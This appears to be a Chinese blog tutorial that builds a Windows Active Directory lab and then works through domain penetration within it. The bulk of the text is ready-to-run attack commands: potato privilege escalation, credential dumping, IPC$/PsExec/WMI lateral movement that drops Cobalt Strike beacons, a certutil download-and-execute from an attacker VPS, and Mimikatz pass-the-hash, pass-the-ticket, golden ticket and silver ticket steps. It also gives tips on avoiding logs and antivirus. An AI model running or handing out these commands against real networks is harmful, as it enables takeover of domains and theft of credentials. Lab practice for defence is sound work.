域环境搭建
安装winsever 2012R2
掠过安装虚拟机的步骤
设置虚拟网卡vmnet1为仅主机模式,手动设定ip地址为192.168.10.10
安装AD和DNS服务
添加角色和功能->基于角色或基于功能安装->
从服务器池中选择服务器
添加AD域服务和DNS服务
确认安装
安装成功
该服务器设置为域控服务器
配置域环境
配置域控制器选项
配置DNS选项,直接下一步,直至安装结束重启服务器
添加域用户
工具->user-添加用户
密码长度要符合要求,域用户新建成功。
配置域内主机
这里我选择winserver2012
配置dns服务器地址
测试连接状态
添加域内主机
加入域成功重启服务器,登录用户san
登录时需要重置密码登录
命令查看登录成功
网络环境
winser2012R2-1 DC服务器 192.168.10.10
winser2012R2-2 域内主机 双网卡 192.168.10.11 192.168.2.129
win7 192.168.10.14 192.168.2.167 双网卡
win10 192.168.10.13 192.168.2.116 双网卡
内网渗透
攻击机win10
首先拥有R2-2的权限普通用户,查询服务器系统
直接使用土豆提权就好
获取到system权限
根据systeminfo
,查询到存在域,且双网卡
抓取密码凭证
获取到user1用户的明文密码以及hash值,内网扫描
获取到内网主机
域渗透
横向渗透
根据拿到的用户名和密码进行密码喷洒,常用的工具比较多Crack系列工具或者cs插件都可以实现,或者根据密码枚举用户
1.ipc管道+计划任务
net use *\192.168.10.13\c\$ "1qaz@WSX" /user:user2*
net use
上线cs,利用ipc隧道上传cs马上线即可
shell schtasks.exe /create /s 192.168.10.13 /sc once /st 20:03 /tn test2 /tr c:\beacon.exe /ru system /f /u workgroup\administrator /p "xxxx"
上线,需要关闭win serverR1的防火墙
- 注意事项
这里需要目标机器的管理员用户权限才可以,或者域用户存在域管理员组,这里的巧合是因为搭建环境的时候administrator
的口令和域用户user1,user2
的口令相同,同样密码喷洒是可以爆破出来的。
2. ipc管道+psexec横向
无明文密码但是有hash的时候可以利用
- 使用条件
无明文密码
内网或者域内存在主机使用想用的密码
建立ipc隧道的用户为目标主机的管理用用户或者用户属于管理员用户组内
上传文件PsExec.exe
,首先创建ipc\$隧道,使用该应用进行横向
net use \\xxxxxxx\c$ "password" /u:administrator
copy beacon.exe \\xxxxxxx\c$
psexec -accepteula \\xxxxxxx -h -d c:\beacon.exe
目标主机上线
- 优点
psexec.exe在杀软白名单,一般不会拦截,且可以直接提权至system权限。
3.ipc管道+smbexec横向
方法跟上面差不多,需要注意的是,ipc管道使用的条件是:管理员用户密码,139,445端口开放
4.wmi横向
WMI是由一系列工具集成的,可以在本地或者远程管理计算机系统,主要通过135端口进行利用,支持明文或者Hash的方式进行认证,该手法并不会在操作系统中留下日志,推荐使用该方法进行内网的横向移动。
条件:
开启135端口
管理员账号和密码或者账号所属管理员用户组
shell wmic.exe /node:192.168.10.11 /user:\<目标用户> /password:\<目标密码> process call create "cmd.exe /c whoami > c:\1.txt"
shell dir \192.168.10.11\c$
这里为方便查看所以使用的命名管道查看文件
shell type \\192.168.10.11\c$\1.txt
cs上线
- 机器出网
下载cs马上线,上线方法可使用certutil或者mshta或者powershell等(上线方法简便)
cs添加监听,起一个web服务,提供恶意文件的下载地址
shell wmic /node:192.168.10.11 /user:<目标用户> /password:<目标密码> process call create "certutil.exe -urlcache -split -f http://vps:port/a.exe c:\windows\temp\certutil.exe"
这里一般使用的路径尽量选择c:\windows\temp\certutil.exe
否则会报错
shell wmic /node:192.168.10.11 /user:<目标用户> /password:<目标密码> process call create "cmd.exe /c c:\windows\temp\certutil.exe"
成功上线
- 机器不出网
ipc管道+转发上线+wmic
条件:
端口139,445 目标主机的用户名以及密码
单纯使用ipc管道和转发上线其实也可以但是需要定时任务,创建定时任务的话会提示,但是如果使用wmic直接去执行上线的效果可能会更好
shell net use \\目标主机ip\c$ "<密码>" /u:<用户名>
shell net use #查看目标链接状态
shell copy beacon.exe \\目标主机ip\c$\beacon.exe
shell wmic /node:目标主机ip /user:<用户名> /password:<密码> process call create "cmd.exe /c c:\beacon.exe" #目标主机上线
5.pass the hash(pth)
一般使用条件,在无法使用ipc命名管道的情况下,也就是无明文密码但是获取到用户NTLM哈希值,使用pth进行横向
条件:
用户必须处于已登录状态
工具Mimikatz
privilege
sekurlsa::pth /user:<用户名> /domain:<域名> /ntlm:161cff084477fe596a5db81874498a24
弹窗之后
dir \\横向目标IP\c$
6.pass the key(ptk)
用户需要在横向目标的管理员用户组内,否则权限不足,拒绝访问
实际上这里未安装补丁KB2871997依旧可以实现ptk
privilege::debug
sekurlsa::ekeys
无补丁的情况下无法获取到aes256的key值,安装补丁KB2871997,查看之后发现该补丁不支持win10。
privilege::debug
sekurlsa::ekeys
sekurlsa::pth /user:<用户名> /domain:<域名> /aes256:363776e0362734fa87ba0077bed16794d1bcd3800719d23243d58cb1d3b95168
dir \\主机名\c$
7.pass the ticket(ptt)
PTT票据传递攻击主要根据Kerberos协议和Kerberos的认证机制原理来进行攻击的
条件
用户需要在横向目标的管理员用户组内,否则权限不足,拒绝访问
命令:
privilege::debug
sekurlsa::tickets /export
kerberos::ptt "票据文件" //kerberos::ptt "[0;9414b]-2-0-40e10000-Administrator@krbtgt-<域名>.COM.kirbi"
Kerberos::purge //清除票据
黄金票据
使用条件
获取kertgt用户的sid和ntlm的哈希值
域控主机
lsadump::dcsync /domain:starseaseclab.com /user:krbtgt
跳板机执行
klist //查看票据文件
kerberos::golden /user:administrator /domain:<域名> /sid:S-1-5-21-1719736279-3906200060-616816393 /krbtgt:5e31f755b33b621bede0946b044908e4 /ptt //票据直接注入内存
klist purge //清楚内存票据
白银票据
```
使用条件:域管sid
kerberos::golden:使用minikatz中票据的功能/domain:指定域名/sid:Client端查询的sid号,在域控中查询也可以,都是一样的/target:主域控中的计算机全名/rc4:在域控中抓取的hash(NTLM)/service:需要伪造的服务(cifs只是其中的一种服务,可伪造的服务很多)/user:需要伪造的用户名(可自定义)/ppt:伪造了以后直接写入到内存中
```
命令
```
获取信息
域sid:S-1-5-21-1719736279-3906200060-616816393
ntlm:5e31f755b33b621bede0946b044908e4
制作一张 cifs 服务的白银票据
kerberos::golden /domain:<域名> /sid:S-1-5-21-1719736279-3906200060-616816393 /target:administrator.<域名> /service:cifs /rc4:5e31f755b33b621bede0946b044908e4 /user:administrator /ptt
dir \win-dc\c$
```
ptt和ptk的横向方式仅针对于域内
总结
基本上的横向姿势应该就是这些了,基本上原理都差不多,实战的话肯定根据需求使用,金票在实战中确实一般利用不到,当然也还有其他横向工具,姿势基本上就是这样了。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论